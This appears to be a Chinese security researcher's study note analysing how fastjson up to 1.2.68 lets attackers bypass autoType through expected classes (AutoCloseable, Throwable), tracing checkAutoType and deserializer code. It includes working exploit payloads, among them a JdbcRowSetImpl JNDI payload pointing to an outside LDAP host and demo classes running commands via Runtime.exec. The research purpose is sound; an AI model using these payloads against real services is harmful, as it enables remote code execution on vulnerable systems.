Java fastjson <= 1.2.68 期望类的绕过
前言:这篇作为<=1.2.68 通过期望类绕过autoType漏洞利用的笔记
后言:我自己记录完了之后,觉得自己写的啥也不是,我只能说自己勉强把这个漏洞过了一遍,许多细节可能还是没有提及,就比如:
反序列化器在构造类的构造器的时候是如何如果通过参数进行的?稍微有提及,不细节
那么这个参数细节获取又是如何获取的?稍微有提及,不细节
挖掘漏洞的人是如何想到期望类这个方法来进行利用的?影响autoType机制,除了已知的缓存类,同样对应的expectClassFlag也同样联想,那么这两个的配合是否又可以对该机制进行绕过
fastjson自己实现的反序列化器的运行流程是怎么样的?fastjson自定义了许多的反序列化器,根据不同的类使用不同的反序列化器来进行解析,只是稍微提及,许多细节也没走过
fastjson自己实现的这么多反序列化器又是如何进行判断来使用哪个反序列化器来进行调用?一个一个判断,最后如果没有判断到已知的则自己创建自定义的反序列化器来进行实现
如果都没有对应的反序列化又是如何走?是自定义反序列化器吗?
fastjson的整体运行流程分为几步?是如何走的?有提及,个人认为分为三部,json的数据解析,checkAutoType的,接着就是反序列化器的实例化
这些只是浅薄的理解,肯定有很多地方不对,之后自己有别的理解继续改上
还有诸多问题,而往往这些细节的问题才是真正影响漏洞挖掘的关键。
比较1.2.47 与 1.2.68
把fastjson的版本换成1.2.68来进行测试,payload用1.2.47的缓存类payload来进行测试,看看是哪里出现了问题,导致之前的payload无法使用,并且学习新出现的内容
public class Test5 {
public static void main(String[] args) {
String userJson = "{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://1.1.1.1:1389Exploxit","autoCommit":true}}";
Object object2 = JSON.parse(userJson);
System.out.println(object2);
}
}
同样走到checkAutoType中,如下所示,新出现的内容SafeMode,这里就不讲了,因为自己的第一篇fastjson笔记中有记录,因为这个模式默认关闭的,不影响我们的最终结果,这里学习的还是autoType机制!
开启SafeMode参考:https://github.com/alibaba/fastjson/wiki/fastjson_safemode

接着往下走,这里的expcetClass很早就出现了,但是现在就需要进行学习它,因为它关系到autoType的绕过,默认我们payload这里的expcetClassFlag为false

往下走

接着就是老样子,加载出java.lang.Class来进行返回

一直跟吧,主要关键点就是是否会将当前的值存入到缓存mappings中去,来到如下的位置,你会发现第三个参数此时已经为false了

关键点如下,第三个参数false导致的如下结果,不会存储到mappings中去

1.2.68另外的更新点
在fastjson 1.2.68和1.2.69中,期望类的名单修改如下,转换为了HASH值,并且新增了几个期望类的HASH

使用彩虹表碰撞的方式,还原出了全部经消息摘要函数散列运算的明文Class对象,具体的可以看如下的地址,既然新增了,那么问题肯定就是出在这三个身上
https://github.com/LeadroyaL/fastjson-blacklist
| 版本 | 十进制hash值 | 十六进制hash值 | 类名 |
|---|---|---|---|
| 1.2.69 | 5183404141909004468L | 0x47ef269aadc650b4L | java.lang.Runnable |
| 1.2.69 | 2980334044947851925L | 0x295c4605fd1eaa95L | java.lang.Readable |
| 1.2.69 | -1368967840069965882L | 0xed007300a7b227c6L | java.lang.AutoCloseable |
期望类的关键绕过点
在讲述两种绕过方法之前,这里需要学习下为何可以通过期望类来进行绕过,这里还是看com.alibaba.fastjson.parser.ParserConfig#checkAutoType函数,如下图所示
其中可以看到expectClass不为图中几个原生类的时候可以将expectClassFlag设置为true

而如果expectClassFlag是true的话,那么导致的就是当前传入的typeName会被进行loadClass,从而进行返回

最终导致的结果就是恶意类被进行反序列化从而进行命令执行

那么有一个问题就是我们要如何才能使其expectClassFlag为true,然后进行加载我们传入的typeName呢?
这里先看com.alibaba.fastjson.parser.ParserConfig#checkAutoType,调用该方法的类是ParserConfig,那么这里只需要去查看哪里调用了ParserConfig#checkAutoType
通过全局搜索你会发现有几处通过expectClassFlag传参来进行调用expectClassFlag
JavaBeanDeserializer
MapDeserializer
AbstractDateDeserializer
ThrowableDeserializer

这里也就不说啥了,直接来看JavaBeanDeserializer即可,该方法中存在调用 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze
可以看到,如果可以走到这边的话,使其Class<?> expectClass = TypeUtils.getClass(type);,拿到的expectClass不符合如下的类型即可
expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class

那么接着看,我们如何才能走到com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze该方法中呢?
这里继续看到com.alibaba.fastjson.parser.DefaultJSONParser#parseObject方法中,如下图所示
如果config.getDeserializer(clazz);,获取的对象是JavaBeanDeserializer那么即可走到上述的方法中,而在上述的方法中继续进行com.alibaba.fastjson.parser.ParserConfig#checkAutoType方法绕过从而进行利用AutoType的限制

跟到com.alibaba.fastjson.parser.ParserConfig#getDeserializer方法中查看如何进行获取对应的deserializer对象
这里的话来到com.alibaba.fastjson.parser.ParserConfig#initDeserializers中,可以发现fastjson在进行解析json的时候前都会进行初始化initDeserializers方法,如下图所示

但是如果都不符合的话,那么fastjson会通过createJavaBeanDeserializer方法创建一个对应的JavaBeanDeserializer对象来进行使用

到了这里的话还需要解决一个问题就是在调用com.alibaba.fastjson.parser.ParserConfig#getDeserializer的时候,会先经过第一次的checkAutoType方法,如下图所示,如果没有成功的话那么也就走不到下面去了

所以我们也并不是除了下面的几个类之外的都可以进行选择,为什么?下面继续来看
expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
为了能让代码走到com.alibaba.fastjson.parser.ParserConfig#getDeserializer,那么就需要让第一次的checkAutoType进行满足,这里满足的话就需要让其成功返回Class对象
这里的话就需要用到clazz = TypeUtils.getClassFromMapping(typeName);,第一次要从mappings中取得已经有的类

调试发现,缓存中的类如下所示,到这里的话分析就结束了

第二次checkAutoType所有的类都支持吗?
不是的,这里还需要有个判断,如下所示,在返回对应的类之前还会判断下,第二次checkAutoType的类是否是期望类的子类,所以这里还有一个前提条件
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

payload构造
通过上述的分析可以知道,想要绕过1.2.68 fastjson来进行利用的话:
1、第一次的checkAutoType的类需要是默认fastjson中的mappings属性中的值,并且还不能是如下
expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
2、第二次进行checkAutoType的类需要是第一次的checkAutoType的子类
3、第二次进行反序列化的时候,对应的类中需要存在可利用相关getter,setter,构造函数
构造的payload模版如下图所示
{"@type":"mappings中的类","@type":"利用类","构造函数的相关字段或者getter或者setter":"相关参数"}
简单的调试过程

跟进第一个getDeserializer方法中,最后会来到createJavaBeanDeserializer方法来进行创建对应的反序列化器

createJavaBeanDeserializer它会根据你当前要序列化的类来进行反射遍历 构造器,方法,变量等进行封装成一个JavaBeanInfo的对象,因为这个环节自己认为对理解利用期望类来进行绕过autoType十分的重要,此时的重点已经不在于checkAutoType,因为这里面的重点我们已经讲过,主要还是利用了缓存类进行加载 和 expcetClassFlag 参数的作用
首先进入createJavaBeanDeserializer方法,clazz为java.lang.AutoCloseable期望类,跟下去会先看到对这个clazz,也就是AutoCloseable进行判断,先判断是否为接口,接着就是进入了JavaBeanInfo.build方法

首先它会判断其该类的注解是否为JSONType,这里我不太懂为什么这样判断,可能就是判断是否是fastjson自己的类吧
接着就是通过反射来进行判断相关的构造器、方法、成员变量等...

接着获取默认的构造器,这个具体逻辑自己分析下,默认获取的构造器是为无参的,但是如果没有无参的构造器,则会获取有参的

接着还有对方法进行遍历操作的来构造其返回类型等等操作,这些自己可以去分析下,流程一样(自己到时候会在这里补上,现在先放着)
然后将这个对象进行返回,最后存储到deserializers中去

接着就是把当前这个生成的序列化器用来解析之后的json数据

接着又来到checkAutoType的方法中,因为expectClassFlag的缘故,最后则成功可以进行loadClass

后面checkAutoType方法出来之后,则又是重复前面的步骤,最后进行deserializer.deserialze(parser, userType, fieldName),执行命令

1.2.68 Throwable类调用ThrowableDeserializer绕过
参考文章:https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ
若是拿到了ThrowableDeserializer来进行反序列化操作的时候同样也会进行checkAutoType调用,而此时expectClass参数传入的是Throwable.class
com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze
那么这里进入checkAutoType的时候,此时的expectClassFlag则为true,则能获取相关继承Throwable的类

接着往下走就会来到createException方法的调用,如下图所示

通过createException发现可以进行三种构造函数的创建,分别是无参函数,String类型的构造函数,String类型和Throwable类型的构造函数
private Throwable createException(String message, Throwable cause, Class<?> exClass) throws Exception {
Constructor<?> defaultConstructor = null;
Constructor<?> messageConstructor = null;
Constructor<?> causeConstructor = null;
for (Constructor<?> constructor : exClass.getConstructors()) {
Class<?>[] types = constructor.getParameterTypes();
if (types.length == 0) {
defaultConstructor = constructor;
continue;
}
if (types.length == 1 && types[0] == String.class) {
messageConstructor = constructor;
continue;
}
if (types.length == 2 && types[0] == String.class && types[1] == Throwable.class) {
causeConstructor = constructor;
continue;
}
}
if (causeConstructor != null) {
return (Throwable) causeConstructor.newInstance(message, cause);
}
if (messageConstructor != null) {
return (Throwable) messageConstructor.newInstance(message);
}
if (defaultConstructor != null) {
return (Throwable) defaultConstructor.newInstance();
}
return null;
}

那么其实我们只需要找到基于上述的三种情况并且方法中能够进行敏感操作的函数即可,而通过观察的话第一种无参构造函数的话一般都没用,就算有敏感操作,但是参数也无法进行控制,所以可以进行利用的就是第一种和第二种了,那么接下来进行寻找这两种类型的构造函数并且是实现了Throwable类的子类即可
这里通过一个测试类来进行模拟测试
PingException.java
public class PingException extends Exception {
private String domain;
public PingException() {
super();
}
public String getDomain() {
return domain;
}
public void setDomain(String domain) {
this.domain = domain;
}
@Override
public String getMessage() {
try {
Runtime.getRuntime().exec("open -a "+domain);
} catch (IOException e) {
return e.getMessage();
}
return super.getMessage();
}
}
TestMain.java
public class Test_1_2_68_Exception {
public static void main(String[] args) {
String userJson = "{\"@type\":\"java.lang.Exception\", \"@type\":\"com.zpchcbd.fastjson.pojo.PingException\",\"domain\":\"calculator.app\"}";
Object object2 = JSON.parseObject(userJson);
}
}
可以发现成功进行利用,如下图所示

基于Throwable类的绕过就不多讲,其中的一条关于CompilationFailedException的利用链在后续的1.2.83的fastjson中的利用进行记录,这里主要还是学习基于AutoCloseable期望类的绕过利用
1.2.68 AutoCloseable类调用JavaBeanDeserializer绕过
同样的,对于JavaBeanDeserializer中可以进行绕过,比如如下所示
直接先上一段1.2.68的利用payload
public class Test5 {
public static void main(String[] args) {
String userJson = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.zpchcbd.fastjson.TheCmd\", \"cmd\":\"calc.exe\"}";
Object object2 = JSON.parse(userJson);
System.out.println(object2);
}
}
com.zpchcbd.fastjson.TheCmd.java
public class TheCmd implements AutoCloseable{
public TheCmd(String cmd){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}
前面在介绍反序列化器的时候,是拿AutoCloseable来进行讲解的,这里就继续在后面继续走,接着就是把当前这个AutoCloseable生成的序列化器用来解析之后的json数据
又开始进行获取@type的值,此时的是"@type":"com.zpchcbd.fastjson.TheCmd",来调用checkAutoType

此时的expectClassFlag已经生效,因为调用checkAutoType方法的时候,传入的第二个参数就已经是期望类为AutoCloseable

到这里为止,就已经成功的绕过了autoType,加载了我们想要的class

接着就要开始对这个class进行利用,这边也是重点,大概的走法跟上面的AutoCloseable差不多,就是传参问题需要注意,那么这里接着往下走,接着又会来到createJavaBeanDeserializer方法中

进行JavaBeanInfo.build

接着就是获取跟上面一样,通过反射获取相关的方法,字段,构造器

下面的部分就是通过对应的参数来构造对应的构造器的环节

最后进行返回相关的信息,该信息都存储到JavaBeanInfo中

最后反序列化器进行实例化操作

最终执行了TheCmd类中的构造函数

修复
将 java.lang.Runnable 、 java.lang.Readable 和 java.lang.AutoCloseable 加⼊了⿊名单,那么1.2.80⽤的就是另⼀个期望类:异常类Throwable

浙公网安备 33010602011771号